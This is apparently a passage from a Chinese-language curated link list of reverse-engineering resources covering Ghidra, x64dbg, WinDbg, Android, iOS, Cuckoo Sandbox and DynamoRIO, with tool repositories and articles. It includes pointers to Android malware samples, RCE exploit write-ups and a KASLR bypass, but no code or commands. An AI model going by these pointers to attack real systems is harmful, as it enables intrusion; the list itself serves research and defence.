## <a id="273df546f1145fbed92bb554a327b87a"></a>文章&&视频
### <a id="ce49901b4914f3688ef54585c8f9df1a"></a>新添加的
- 2019.11 [deadc0de] [Scripting Ghidra with Python](https://deadc0de.re/articles/ghidra-scripting-python.html)
- 2019.11 [4hou] [使用Ghidra对WhatsApp VOIP Stack 溢出漏洞的补丁对比分析](https://www.4hou.com/vulnerable/21141.html)
- 2019.10 [securityaffairs] [Researchers discovered a code execution flaw in NSA GHIDRA](https://securityaffairs.co/wordpress/92280/hacking/ghidra-code-execution-flaw.html)
- 2019.10 [4hou] [CVE-2019-16941: NSA Ghidra工具RCE漏洞](https://www.4hou.com/info/news/20698.html)
- 2019.09 [venus_seebug] [使用 Ghidra 对 iOS 应用进行 msgSend 分析](https://paper.seebug.org/1037/)
- 2019.09 [4hou] [利用Ghidra分析TP-link M7350 4G随身WiFi的RCE漏洞](https://www.4hou.com/vulnerable/20267.html)
- 2019.09 [4hou] [使用Ghidra对iOS应用进行msgSend分析](https://www.4hou.com/system/20326.html)
- 2019.09 [dustri] [Radare2, IDA Pro, and Binary ninja, a metaphoric comparison](https://dustri.org/b/radare2-ida-pro-and-binary-ninja-a-metaphoric-comparison.html)
- 2019.09 [youtube_WarrantyVoider] [X360 XEX Decompiling With Ghidra](https://www.youtube.com/watch?v=coGz0f7hHTM)
- 2019.08 [youtube_WarrantyVoider] [N64 ROM Decompiling With Ghidra - N64LoaderWV](https://www.youtube.com/watch?v=3d3a39LuCwc)
- 2019.08 [aliyun_xz] [CVE-2019-12103 使用Ghidra分析TP-Link M7350上的预认证RCE](https://xz.aliyun.com/t/6017)
- 2019.08 [4hou] [基于Ghidra和Neo4j的RPC分析技术](https://www.4hou.com/technology/19730.html)
- 2019.08 [hackertor] [Ghidra (Linux) 9.0.4 Arbitrary Code Execution](https://hackertor.com/2019/08/12/ghidra-linux-9-0-4-arbitrary-code-execution/)
- 2019.08 [kitploit_exploit] [Ghidra (Linux) 9.0.4 Arbitrary Code Execution](https://exploit.kitploit.com/2019/08/ghidra-linux-904-arbitrary-code.html)
- 2019.07 [hackertor] [NA – CVE-2019-13623 – In NSA Ghidra through 9.0.4, path traversal can…](https://hackertor.com/2019/07/17/na-cve-2019-13623-in-nsa-ghidra-through-9-0-4-path-traversal-can/)
- 2019.07 [hackertor] [NA – CVE-2019-13625 – NSA Ghidra before 9.0.1 allows XXE when a…](https://hackertor.com/2019/07/17/na-cve-2019-13625-nsa-ghidra-before-9-0-1-allows-xxe-when-a/)
- 2019.06 [dawidgolak] [IcedID aka #Bokbot Analysis with Ghidra.](https://medium.com/p/560e3eccb766)
- 2019.05 [vimeo_user18478112] [Three Heads are Better Than One: Mastering Ghidra - Alexei Bulazel, Jeremy Blackthorne - INFILTRATE 2019](https://vimeo.com/335158460)
- 2019.04 [youtube_X0x6d696368] [Ghidra: Stack Depth (to detect stack manipulation)](https://www.youtube.com/watch?v=hP9FQrD61tk)
- 2019.04 [aliyun_xz] [利用Ghidra分析恶意软件Emotet](https://xz.aliyun.com/t/4931)
# <a id="b1a6c053e88e86ce01bbd78c54c63a7c"></a>x64dbg
***
## <a id="b4a856db286f9f29b5a32d477d6b3f3a"></a>插件&&脚本
### <a id="353ea40f2346191ecb828210a685f9db"></a>x64dbg
- [**34521**星][14d] [C++] [x64dbg/x64dbg](https://github.com/x64dbg/x64dbg) Windows平台x32/x64调试器
### <a id="da5688c7823802e734c39b539aa39df7"></a>新添加的
- [**1668**星][7m] [C++] [yegord/snowman](https://github.com/yegord/snowman) Snowman反编译器，支持x86, AMD64, ARM。有独立的GUI工具、命令行工具、IDA/Radare2/x64dbg插件，也可以作为库使用
- 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) |
- [IDA插件](https://github.com/yegord/snowman/tree/master/src/ida-plugin)
- [snowman](https://github.com/yegord/snowman/tree/master/src/snowman) QT界面
- [nocode](https://github.com/yegord/snowman/tree/master/src/nocode) 命令行工具
- [nc](https://github.com/yegord/snowman/tree/master/src/nc) 核心代码，可作为库使用
- [**1348**星][23d] [C] [x64dbg/x64dbgpy](https://github.com/x64dbg/x64dbgpy) Automating x64dbg using Python, Snapshots:
- [**971**星][27d] [Py] [x64dbg/docs](https://github.com/x64dbg/docs) x64dbg文档
- [**457**星][8d] [C] [bootleg/ret-sync](https://github.com/bootleg/ret-sync) 在反汇编工具和调试器之间同步调试会话
- 重复区段: [IDA->插件->与调试器同步](#f7d311685152ac005cfce5753c006e4b) |
- [GDB插件](https://github.com/bootleg/ret-sync/tree/master/ext_gdb)
- [Ghidra插件](https://github.com/bootleg/ret-sync/tree/master/ext_ghidra)
- [IDA插件](https://github.com/bootleg/ret-sync/tree/master/ext_ida)
- [LLDB](https://github.com/bootleg/ret-sync/tree/master/ext_lldb)
- [OD](https://github.com/bootleg/ret-sync/tree/master/ext_olly1)
- [OD2](https://github.com/bootleg/ret-sync/tree/master/ext_olly2)
- [WinDgb](https://github.com/bootleg/ret-sync/tree/master/ext_windbg/sync)
- [x64dbg](https://github.com/bootleg/ret-sync/tree/master/ext_x64dbg)
- [**358**星][9m] [fr0gger/awesome-ida-x64-olly-plugin](https://github.com/fr0gger/awesome-ida-x64-olly-plugin) IDA x64DBG OllyDBG 插件收集
- 重复区段: [IDA->插件->收集](#a7dac37cd93b8bb42c7d6aedccb751b3) |
***
## <a id="22894d6f2255dc43d82dd46bdbc20ba1"></a>文章&&视频
# <a id="37e37e665eac00de3f55a13dcfd47320"></a>OllyDbg
***
## <a id="7834e399e48e6c64255a1a0fdb6b88f5"></a>插件&&脚本
### <a id="92c44f98ff5ad8f8b0f5e10367262f9b"></a>新添加的
***
## <a id="8dd3e63c4e1811973288ea8f1581dfdb"></a>文章&&视频
# <a id="0a506e6fb2252626add375f884c9095e"></a>WinDBG
***
## <a id="37eea2c2e8885eb435987ccf3f467122"></a>插件&&脚本
### <a id="2ef75ae7852daa9862b2217dca252cc3"></a>新添加的
- [**565**星][6m] [C#] [fremag/memoscope.net](https://github.com/fremag/memoscope.net) Dump and analyze .Net applications memory ( a gui for WinDbg and ClrMd )
- [**275**星][13d] [Py] [hugsy/defcon_27_windbg_workshop](https://github.com/hugsy/defcon_27_windbg_workshop) DEFCON 27 workshop - Modern Debugging with WinDbg Preview
- [**227**星][9m] [C++] [microsoft/windbg-samples](https://github.com/microsoft/windbg-samples) Sample extensions, scripts, and API uses for WinDbg.
***
## <a id="6d8bac8bfb5cda00c7e3bd38d64cbce3"></a>文章&&视频
- 2019.10 [freebuf] [Iris：一款可执行常见Windows漏洞利用检测的WinDbg扩展](https://www.freebuf.com/sectool/214276.html)
- 2019.08 [lowleveldesign] [Synthetic types and tracing syscalls in WinDbg](https://lowleveldesign.org/2019/08/27/synthetic-types-and-tracing-syscalls-in-windbg/)
- 2019.08 [hackertor] [Iris – WinDbg Extension To Perform Basic Detection Of Common Windows Exploit Mitigations](https://hackertor.com/2019/08/16/iris-windbg-extension-to-perform-basic-detection-of-common-windows-exploit-mitigations/)
- 2019.07 [osr] [How L1 Terminal Fault (L1TF) Mitigation and WinDbg Wasted My Morning (a.k.a. Yak Shaving: WinDbg Edition)](https://www.osr.com/blog/2019/07/02/how-l1-terminal-fault-l1tf-mitigation-and-windbg-wasted-my-morning-a-k-a-yak-shaving-windbg-edition/)
- 2019.06 [360_anquanke_learning] [《Dive into Windbg系列》Explorer无法启动排查](https://www.anquanke.com/post/id/179748/)
- 2019.04 [360_anquanke_learning] [《Dive into Windbg系列》AudioSrv音频服务故障](https://www.anquanke.com/post/id/176343/)
- 2019.03 [aliyun_xz] [为WinDbg和LLDB编写ClrMD扩展](https://xz.aliyun.com/t/4459)
- 2019.03 [offensive_security] [Development of a new Windows 10 KASLR Bypass (in One WinDBG Command)](https://www.offensive-security.com/vulndev/development-of-a-new-windows-10-kaslr-bypass-in-one-windbg-command/)
- 2019.02 [youtube_OALabs] [WinDbg Basics for Malware Analysis](https://www.youtube.com/watch?v=QuFJpH3My7A)
# <a id="11a59671b467a8cdbdd4ea9d5e5d9b51"></a>Android
***
## <a id="2110ded2aa5637fa933cc674bc33bf21"></a>工具
### <a id="63fd2c592145914e99f837cecdc5a67c"></a>新添加的1
- [**5948**星][2m] [Java] [google/android-classyshark](https://github.com/google/android-classyshark) 分析基于Android/Java的App或游戏
- [**4872**星][7m] [Java] [guardianproject/haven](https://github.com/guardianproject/haven) 通过Android应用和设备上的传感器保护自己的个人空间和财产而又不损害
- [**4752**星][7d] [C++] [facebook/redex](https://github.com/facebook/redex) Android App字节码优化器
- [**3578**星][24d] [C++] [anbox/anbox](https://github.com/anbox/anbox) 在常规GNU / Linux系统上引导完整的Android系统，基于容器
- [**1114**星][11d] [Java] [huangyz0918/androidwm](https://github.com/huangyz0918/androidwm) 一个支持不可见数字水印（隐写术）的android图像水印库。
- [**873**星][2m] [C] [504ensicslabs/lime](https://github.com/504ensicslabs/lime) LiME (formerly DMD) is a Loadable Kernel Module (LKM), which allows the acquisition of volatile memory from Linux and Linux-based devices, such as those powered by Android. The tool supports acquiring memory either to the file system of the device or over the network. LiME is unique in that it is the first tool that allows full memory captures f…
- [**537**星][27d] [nordicsemiconductor/android-nrf-connect](https://github.com/nordicsemiconductor/android-nrf-connect) Documentation and issue tracker for nRF Connect for Android.
- [**447**星][11m] [Kotlin] [shadowsocks/kcptun-android](https://github.com/shadowsocks/kcptun-android) kcptun for Android.
- [**408**星][2m] [CSS] [angea/pocorgtfo](https://github.com/angea/pocorgtfo) a "PoC or GTFO" mirror with extra article index, direct links and clean PDFs.
- [**404**星][1y] [Java] [testwhat/smaliex](https://github.com/testwhat/smaliex) A wrapper to get de-optimized dex from odex/oat/vdex.
- [**276**星][8m] [Py] [micropyramid/forex-python](https://github.com/micropyramid/forex-python) Foreign exchange rates, Bitcoin price index and currency conversion using ratesapi.io
- [**253**星][3m] [Py] [amimo/dcc](https://github.com/amimo/dcc) DCC (Dex-to-C Compiler) is method-based aot compiler that can translate DEX code to C code.
- [**206**星][2m] [C] [derrekr/fastboot3ds](https://github.com/derrekr/fastboot3ds) A homebrew bootloader for the Nintendo 3DS that is similar to android's fastboot.
### <a id="883a4e0dd67c6482d28a7a14228cd942"></a>新添加的
### <a id="fa49f65b8d3c71b36c6924ce51c2ca0c"></a>HotFix
- [**14478**星][26d] [Java] [tencent/tinker](https://github.com/tencent/tinker) Tinker is a hot-fix solution library for Android, it supports dex, library and resources update without reinstall apk.
- [**3431**星][13d] [Java] [meituan-dianping/robust](https://github.com/meituan-dianping/robust) Robust is an Android HotFix solution with high compatibility and high stability. Robust can fix bugs immediately without a reboot.
- [**1111**星][5m] [Java] [manbanggroup/phantom](https://github.com/manbanggroup/phantom) 唯一零 Hook 稳定占坑类 Android 热更新插件化方案
### <a id="ec395c8f974c75963d88a9829af12a90"></a>打包
- [**5028**星][1m] [Java] [meituan-dianping/walle](https://github.com/meituan-dianping/walle) Android Signature V2 Scheme签名下的新一代渠道包打包神器
### <a id="767078c52aca04c452c095f49ad73956"></a>收集
### <a id="17408290519e1ca7745233afea62c43c"></a>各类App
- [**12203**星][14d] [Java] [signalapp/signal-android](https://github.com/signalapp/Signal-Android) A private messenger for Android.
### <a id="7f353b27e45b5de6b0e6ac472b02cbf1"></a>Xposed
- [**8597**星][26d] [Java] [android-hacker/virtualxposed](https://github.com/android-hacker/virtualxposed) A simple app to use Xposed without root, unlock the bootloader or modify system image, etc.
- [**2470**星][6m] [taichi-framework/taichi](https://github.com/taichi-framework/taichi) A framework to use Xposed module with or without Root/Unlock bootloader, supportting Android 5.0 ~ 10.0
- [**1963**星][27d] [Java] [elderdrivers/edxposed](https://github.com/elderdrivers/edxposed) Elder driver Xposed Framework.
- [**1702**星][1y] [Java] [ac-pm/inspeckage](https://github.com/ac-pm/inspeckage) Android Package Inspector - dynamic analysis with api hooks, start unexported activities and more. (Xposed Module)
- [**1593**星][26d] [Java] [tiann/epic](https://github.com/tiann/epic) Dynamic java method AOP hook for Android(continution of Dexposed on ART), Supporting 4.0~10.0
- [**1291**星][27d] [Java] [android-hacker/exposed](https://github.com/android-hacker/exposed) A library to use Xposed without root or recovery(or modify system image etc..).
- [**782**星][7m] [Java] [blankeer/mdwechat](https://github.com/blankeer/mdwechat) 一个能让微信 Material Design 化的 Xposed 模块
- [**633**星][21d] [Java] [ganyao114/sandhook](https://github.com/ganyao114/sandhook) Android ART Hook/Native Inline Hook/Single Instruction Hook - support 4.4 - 10.0 32/64 bit - Xposed API Compat
- [**475**星][2m] [Java] [tornaco/x-apm](https://github.com/tornaco/x-apm) 应用管理 Xposed
- [**321**星][1y] [C] [smartdone/dexdump](https://github.com/smartdone/dexdump) 一个用来快速脱一代壳的工具（稍微改下就可以脱类抽取那种壳）（Android）
- [**302**星][12d] [bigsinger/androididchanger](https://github.com/bigsinger/androididchanger) Xposed Module for Changing Android Device Info
- [**289**星][14d] [Java] [ganyao114/sandvxposed](https://github.com/ganyao114/sandvxposed) Xposed environment without root (OS 5.0 - 10.0)
- [**213**星][1y] [Kotlin] [paphonb/androidp-ify](https://github.com/paphonb/androidp-ify) [Xposed] Use features introduced in Android P on your O+ Device!
- [**201**星][1y] [C] [gtoad/android_inline_hook](https://github.com/gtoad/android_inline_hook) Build an so file to automatically do the android_native_hook work. Supports thumb-2/arm32 and ARM64 ! With this, tools like Xposed can do android native hook.
### <a id="50f63dce18786069de2ec637630ff167"></a>加壳&&脱壳
- [**1757**星][7m] [C++] [wrbug/dumpdex](https://github.com/wrbug/dumpdex) Android脱壳
- [**1438**星][3m] [C++] [vaibhavpandeyvpz/apkstudio](https://github.com/vaibhavpandeyvpz/apkstudio) Open-source, cross platform Qt based IDE for reverse-engineering Android application packages.
- [**807**星][3m] [C] [strazzere/android-unpacker](https://github.com/strazzere/android-unpacker) Android Unpacker presented at Defcon 22: Android Hacker Protection Level 0
- [**691**星][1m] [YARA] [rednaga/apkid](https://github.com/rednaga/apkid) Android Application Identifier for Packers, Protectors, Obfuscators and Oddities - PEiD for Android
- [**356**星][2m] [Java] [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) A cli tool that helps signing and zip aligning single or multiple Android application packages (APKs) with either debug or provided release certificates. It supports v1, v2 and v3 Android signing scheme has an embedded debug keystore and auto verifies after signing.
- [**313**星][5m] [Shell] [1n3/reverseapk](https://github.com/1n3/reverseapk) Quickly analyze and reverse engineer Android packages
### <a id="596b6cf8fd36bc4c819335f12850a915"></a>HOOK
- [**1468**星][3m] [C] [iqiyi/xhook](https://github.com/iqiyi/xhook) a PLT (Procedure Linkage Table) hook library for Android native ELF
- [**1466**星][2m] [C++] [jmpews/hookzz](https://github.com/jmpews/hookzz) a hook framework for arm/arm64/ios/android, and [dev] branch is being refactored.
- [**795**星][7m] [C++] [aslody/whale](https://github.com/aslody/whale) Hook Framework for Android/IOS/Linux/MacOS
- [**524**星][6m] [Java] [aslody/andhook](https://github.com/asLody/AndHook) Android dynamic instrumentation framework
- [**344**星][7m] [C] [turing-technician/fasthook](https://github.com/turing-technician/fasthook) Android ART Hook
### <a id="5afa336e229e4c38ad378644c484734a"></a>Emulator&&模拟器
- [**1474**星][1y] [C++] [f1xpl/openauto](https://github.com/f1xpl/openauto) AndroidAuto headunit emulator
- [**518**星][7m] [Java] [limboemu/limbo](https://github.com/limboemu/limbo) Limbo is a QEMU-based emulator for Android. It currently supports PC & ARM emulation for Intel x86 and ARM architecture. See our wiki
- 重复区段: [模拟器->QEMU->工具->新添加的](#82072558d99a6cf23d4014c0ae5b420a) |
- [**466**星][3m] [Java] [strazzere/anti-emulator](https://github.com/strazzere/anti-emulator) Android Anti-Emulator
### <a id="0a668d220ce74e11ed2738c4e3ae3c9e"></a>IDA
### <a id="bb9f8e636857320abf0502c19af6c763"></a>Debug&&调试
- [**10738**星][17d] [Java] [konloch/bytecode-viewer](https://github.com/konloch/bytecode-viewer) A Java 8+ Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More)
- [**6708**星][9m] [Java] [amitshekhariitbhu/android-debug-database](https://github.com/amitshekhariitbhu/android-debug-database) A library for debugging android databases and shared preferences - Make Debugging Great Again
### <a id="f975a85510f714ec3cc2551e868e75b8"></a>Malware&&恶意代码
- [**422**星][4m] [Shell] [ashishb/android-malware](https://github.com/ashishb/android-malware) Collection of android malware samples
- [**347**星][2m] [Java] [droidefense/engine](https://github.com/droidefense/engine) Droidefense: Advance Android Malware Analysis Framework
### <a id="1d83ca6d8b02950be10ac8e4b8a2d976"></a>Obfuscate&&混淆
- [**3059**星][1m] [Java] [calebfenton/simplify](https://github.com/calebfenton/simplify) Generic Android Deobfuscator
- [**290**星][4m] [C] [shadowsocks/simple-obfs-android](https://github.com/shadowsocks/simple-obfs-android) A simple obfuscating tool for Android
### <a id="6d2b758b3269bac7d69a2d2c8b45194c"></a>ReverseEngineering
- [**9178**星][10d] [Java] [ibotpeaches/apktool](https://github.com/ibotpeaches/apktool) A tool for reverse engineering Android apk files
- [**1967**星][26d] [Java] [genymobile/gnirehtet](https://github.com/genymobile/gnirehtet) Gnirehtet provides reverse tethering for Android
- [**577**星][2m] [C++] [secrary/andromeda](https://github.com/secrary/andromeda) Andromeda - Interactive Reverse Engineering Tool for Android Applications
- [**437**星][7m] [maddiestone/androidappre](https://github.com/maddiestone/androidappre) Android App Reverse Engineering Workshop
- [**265**星][9m] [Dockerfile] [cryptax/androidre](https://github.com/cryptax/androidre) 用于Android 逆向的 Docker 容器
- [**244**星][7d] [C++] [strazzere/android-scripts](https://github.com/strazzere/android-scripts) Android逆向脚本收集
- 重复区段: [IDA->插件->Android](#66052f824f5054aa0f70785a2389a478) |
***
## <a id="f0493b259e1169b5ddd269b13cfd30e6"></a>文章&&视频
- 2019.12 [aliyun_xz] [Android智能终端系统的安全加固（上）](https://xz.aliyun.com/t/6852)
- 2019.11 [venus_seebug] [Android勒索病毒分析（上）](https://paper.seebug.org/1085/)
# <a id="069664f347ae73b1370c4f5a2ec9da9f"></a>Apple&&iOS&&iXxx
***
## <a id="58cd9084afafd3cd293564c1d615dd7f"></a>工具
### <a id="d0108e91e6863289f89084ff09df39d0"></a>新添加的
- [**10902**星][12d] [Objective-C] [flipboard/flex](https://github.com/flipboard/flex) An in-app debugging and exploration tool for iOS
- [**7992**星][2m] [Py] [facebook/chisel](https://github.com/facebook/chisel) Chisel is a collection of LLDB commands to assist debugging iOS apps.
- [**5764**星][3m] [Objective-C] [square/ponydebugger](https://github.com/square/ponydebugger) Remote network and data debugging for your native iOS app using Chrome Developer Tools
- [**4627**星][16d] [C] [google/ios-webkit-debug-proxy](https://github.com/google/ios-webkit-debug-proxy) A DevTools proxy (Chrome Remote Debugging Protocol) for iOS devices (Safari Remote Web Inspector).
- [**4343**星][13d] [Swift] [signalapp/signal-ios](https://github.com/signalapp/Signal-iOS) A private messenger for iOS.
- [**3653**星][4m] [C] [facebook/fishhook](https://github.com/facebook/fishhook) A library that enables dynamically rebinding symbols in Mach-O binaries running on iOS.
- [**3280**星][2m] [Swift] [yagiz/bagel](https://github.com/yagiz/bagel) a little native network debugging tool for iOS
- [**3202**星][4m] [Objective-C] [naituw/ipapatch](https://github.com/naituw/ipapatch) Patch iOS Apps, The Easy Way, Without Jailbreak.
- [**2838**星][12d] [Objective-C] [facebook/idb](https://github.com/facebook/idb) idb is a flexible command line interface for automating iOS simulators and devices
- [**2731**星][22d] [Makefile] [theos/theos](https://github.com/theos/theos) A cross-platform suite of tools for building and deploying software for iOS and other platforms.
- [**2683**星][4m] [Objective-C] [dantheman827/ios-app-signer](https://github.com/dantheman827/ios-app-signer) This is an app for OS X that can (re)sign apps and bundle them into ipa files that are ready to be installed on an iOS device.
- [**2681**星][1m] [Objective-C] [kjcracks/clutch](https://github.com/kjcracks/clutch) Fast iOS executable dumper
- [**2020**星][20d] [Objective-C] [ios-control/ios-deploy](https://github.com/ios-control/ios-deploy) Install and debug iPhone apps from the command line, without using Xcode
- [**1774**星][1y] [aozhimin/ios-monitor-platform](https://github.com/aozhimin/ios-monitor-platform)
- [**1676**星][28d] [Swift] [pmusolino/wormholy](https://github.com/pmusolino/wormholy) iOS network debugging, like a wizard 🧙♂️
- [**1574**星][22d] [ivrodriguezca/re-ios-apps](https://github.com/ivrodriguezca/re-ios-apps) A completely free, open source and online course about Reverse Engineering iOS Applications.
- [**1239**星][2m] [michalmalik/osx-re-101](https://github.com/michalmalik/osx-re-101) OSX/iOS逆向资源收集
- [**996**星][2m] [Objective-C] [lmirosevic/gbdeviceinfo](https://github.com/lmirosevic/gbdeviceinfo) Detects the hardware, software and display of the current iOS or Mac OS X device at runtime.
- [**815**星][7d] [JS] [cypress-io/cypress-example-recipes](https://github.com/cypress-io/cypress-example-recipes) Various recipes for testing common scenarios with Cypress
- [**766**星][12d] [Shell] [aqzt/kjyw](https://github.com/aqzt/kjyw) 快捷运维，代号kjyw，项目基于shell、python，运维脚本工具库，收集各类运维常用工具脚本，实现快速安装nginx、mysql、php、redis、nagios、运维经常使用的脚本等等...
- [**634**星][1y] [Swift] [phynet/ios-url-schemes](https://github.com/phynet/ios-url-schemes) a github solution from my gist of iOS list for urls schemes
- [**498**星][25d] [Swift] [google/science-journal-ios](https://github.com/google/science-journal-ios) Use the sensors in your mobile devices to perform science experiments. Science doesn’t just happen in the classroom or lab—tools like Science Journal let you see how the world works with just your phone.
- [**468**星][8m] [C++] [everettjf/machoexplorer](https://github.com/everettjf/machoexplorer) MachO文件查看器，支持Windows和macOS
- [**466**星][24d] [pixelcyber/thor](https://github.com/pixelcyber/thor) HTTP Sniffer/Capture on iOS for Network Debug & Inspect.
- [**430**星][11m] [captainarash/the_holy_book_of_x86](https://github.com/captainarash/the_holy_book_of_x86) A simple guide to x86 architecture, assembly, memory management, paging, segmentation, SMM, BIOS....
- [**380**星][11m] [C] [coolstar/electra1131](https://github.com/coolstar/electra1131) electra1131: Electra for iOS 11.0 - 11.3.1
- [**337**星][2m] [C] [trailofbits/cb-multios](https://github.com/trailofbits/cb-multios) DARPA Challenges Sets for Linux, Windows, and macOS
- [**305**星][7d] [Swift] [securing/iossecuritysuite](https://github.com/securing/iossecuritysuite) iOS platform security & anti-tampering Swift library
- [**244**星][18d] [C++] [s0uthwest/futurerestore](https://github.com/s0uthwest/futurerestore) iOS upgrade and downgrade tool utilizing SHSH blobs
- [**238**星][6m] [JS] [we11cheng/wcshadowrocket](https://github.com/we11cheng/wcshadowrocket) iOS Shadowrocket(砸壳重签,仅供参考,添加节点存在问题)。另一个fq项目potatso源码参见:
- [**231**星][3m] [Swift] [shadowsocksr-live/ishadowsocksr](https://github.com/shadowsocksr-live/ishadowsocksr) ShadowsocksR for iOS, come from
### <a id="7037d96c1017978276cb920f65be2297"></a>XCode
- [**1388**星][14d] [Swift] [johnno1962/injectioniii](https://github.com/johnno1962/injectioniii) Re-write of Injection for Xcode in (mostly) Swift4
- [**562**星][19d] [Objective-C] [hdb-li/lldebugtool](https://github.com/hdb-li/lldebugtool) LLDebugTool is a debugging tool for developers and testers that can help you analyze and manipulate data in non-xcode situations.
***
## <a id="c97bbe32bbd26c72ceccb43400e15bf1"></a>文章&&视频
# <a id="0ae4ddb81ff126789a7e08b0768bd693"></a>Cuckoo
***
## <a id="5830a8f8fb3af1a336053d84dd7330a1"></a>工具
### <a id="f2b5c44c2107db2cec6c60477c6aa1d0"></a>新添加的
- [**4015**星][3m] [JS] [cuckoosandbox/cuckoo](https://github.com/cuckoosandbox/cuckoo) Cuckoo Sandbox is an automated dynamic malware analysis system
- [**303**星][2m] [Py] [hatching/vmcloak](https://github.com/hatching/vmcloak) Automated Virtual Machine Generation and Cloaking for Cuckoo Sandbox.
- [**236**星][6m] [Py] [cuckoosandbox/community](https://github.com/cuckoosandbox/community) Repository of modules and signatures contributed by the community
- [**236**星][3m] [Py] [brad-sp/cuckoo-modified](https://github.com/brad-sp/cuckoo-modified) Modified edition of cuckoo
- [**222**星][1y] [PHP] [cuckoosandbox/monitor](https://github.com/cuckoosandbox/monitor) The new Cuckoo Monitor.
- [**218**星][3m] [Shell] [blacktop/docker-cuckoo](https://github.com/blacktop/docker-cuckoo) Cuckoo Sandbox Dockerfile
***
## <a id="ec0a441206d9a2fe1625dce0a679d466"></a>文章&&视频
- 2019.10 [sectechno] [Cuckoo Sandbox – Automated Malware Analysis Framework](https://sectechno.com/cuckoo-sandbox-automated-malware-analysis-framework-2/)
- 2019.04 [eforensicsmag] [How to Integrate RSA Malware Analysis with Cuckoo Sandbox | By Luiz Henrique Borges](https://eforensicsmag.com/how-to-integrate-rsa-malware-analysis-with-cuckoo-sandbox-by-luiz-henrique-borges/)
- 2019.02 [thehive_project] [Cortex-Analyzers 1.15.3 get ready for URLhaus and Cuckoo](https://blog.thehive-project.org/2019/02/26/cortex-analyzers-1-15-3-get-ready-for-urlhaus-and-cuckoo/)
- 2018.07 [360_anquanke_learning] [一例IRC Bot针对Cuckoo沙箱的猥琐对抗分析](https://www.anquanke.com/post/id/152631/)
- 2018.05 [trustedsec] [Malware Analysis is for the (Cuckoo) Birds – Working with Proxmox](https://www.trustedsec.com/2018/05/working-with-proxmox/)
- 2018.05 [trustedsec] [Protected: Malware Analysis is for the (Cuckoo) Birds](https://www.trustedsec.com/2018/05/malware-cuckoo-1/)
- 2018.05 [trustedsec] [Protected: Malware Analysis is for the (Cuckoo) Birds – Cuckoo Installation Notes for Debian](https://www.trustedsec.com/2018/05/malware-cuckoo-2/)
- 2018.04 [ly0n] [Automating malware analysis, cuckoo api + postfix](https://paumunoz.tech/2018/04/25/automating-malware-analysis-cuckoo-api-postfix/)
- 2018.04 [ly0n] [Automating malware analysis, cuckoo api + postfix](http://ly0n.me/2018/04/25/automating-malware-analysis-cuckoo-api-postfix/)
- 2018.04 [rapid7] [Threat Intel Book Club: The Cuckoo's Egg wrap-up](https://blog.rapid7.com/2018/04/12/threat-intel-book-club-the-cuckoos-egg-wrap-up/)
- 2018.04 [nviso] [Painless Cuckoo Sandbox Installation](https://blog.nviso.be/2018/04/12/painless-cuckoo-sandbox-installation/)
- 2018.03 [rapid7] [Next Threat Intel Book Club 4/5: Recapping The Cuckoo’s Egg](https://blog.rapid7.com/2018/03/18/next-threat-intel-book-club-4-5-recapping-the-cuckoos-egg/)
- 2018.03 [ensurtec] [Cuckoo Sandbox Setup Tutorial](https://ensurtec.com/cuckoo-sandbox-setup-tutorial/)
- 2018.01 [fortinet] [Prevalent Threats Targeting Cuckoo Sandbox Detection and Our Mitigation](https://blog.fortinet.com/2018/01/03/prevalent-threats-targeting-cuckoo-sandbox-detection-and-our-mitigation)
- 2018.01 [fortinet] [Prevalent Threats Targeting Cuckoo Sandbox Detection and Our Mitigation](https://www.fortinet.com/blog/threat-research/prevalent-threats-targeting-cuckoo-sandbox-detection-and-our-mitigation.html)
# <a id="7ab3a7005d6aa699562b3a0a0c6f2cff"></a>DBI
***
## <a id="c8cdb0e30f24e9b7394fcd5681f2e419"></a>DynamoRIO
### <a id="6c4841dd91cb173093ea2c8d0b557e71"></a>工具
#### <a id="3a577a5b4730a1b5b3b325269509bb0a"></a>DynamoRIO
- [**1373**星][13d] [C] [dynamorio/drmemory](https://github.com/dynamorio/drmemory) Memory Debugger for Windows, Linux, Mac, and Android
- [**1212**星][10d] [C] [dynamorio/dynamorio](https://github.com/dynamorio/dynamorio) Dynamic Instrumentation Tool Platform
#### <a id="ff0abe26a37095f6575195950e0b7f94"></a>新添加的
- [**246**星][4m] [C] [ampotos/dynstruct](https://github.com/ampotos/dynstruct) Reverse engineering tool for automatic structure recovering and memory use analysis based on DynamoRIO and Capstone
#### <a id="928642a55eff34b6b52622c6862addd2"></a>与其他工具交互
### <a id="9479ce9f475e4b9faa4497924a2e40fc"></a>文章&&视频
- 2019.10 [freebuf] [DrSemu：基于动态行为的恶意软件检测与分类工具](https://www.freebuf.com/sectool/214277.html)
- 2019.06 [freebuf] [Functrace：使用DynamoRIO追踪函数调用](https://www.freebuf.com/sectool/205989.html)
- 2019.01 [360_anquanke_learning] [深入浅出——基于DynamoRIO的strace和ltrace](https://www.anquanke.com/post/id/169257/)
- 2018.08 [n0where] [Dynamic API Call Tracer for Windows and Linux Applications: Drltrace](https://n0where.net/dynamic-api-call-tracer-for-windows-and-linux-applications-drltrace)
- 2018.07 [topsec_adlab] [动态二进制修改(Dynamic Binary Instrumentation)入门：Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/)
- 2018.07 [topsec_adlab] [动态二进制修改(Dynamic Binary Instrumentation)入门：Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/ad_lab/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/)
- 2018.07 [topsec_adlab] [动态二进制修改(Dynamic Binary Instrumentation)入门：Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/)
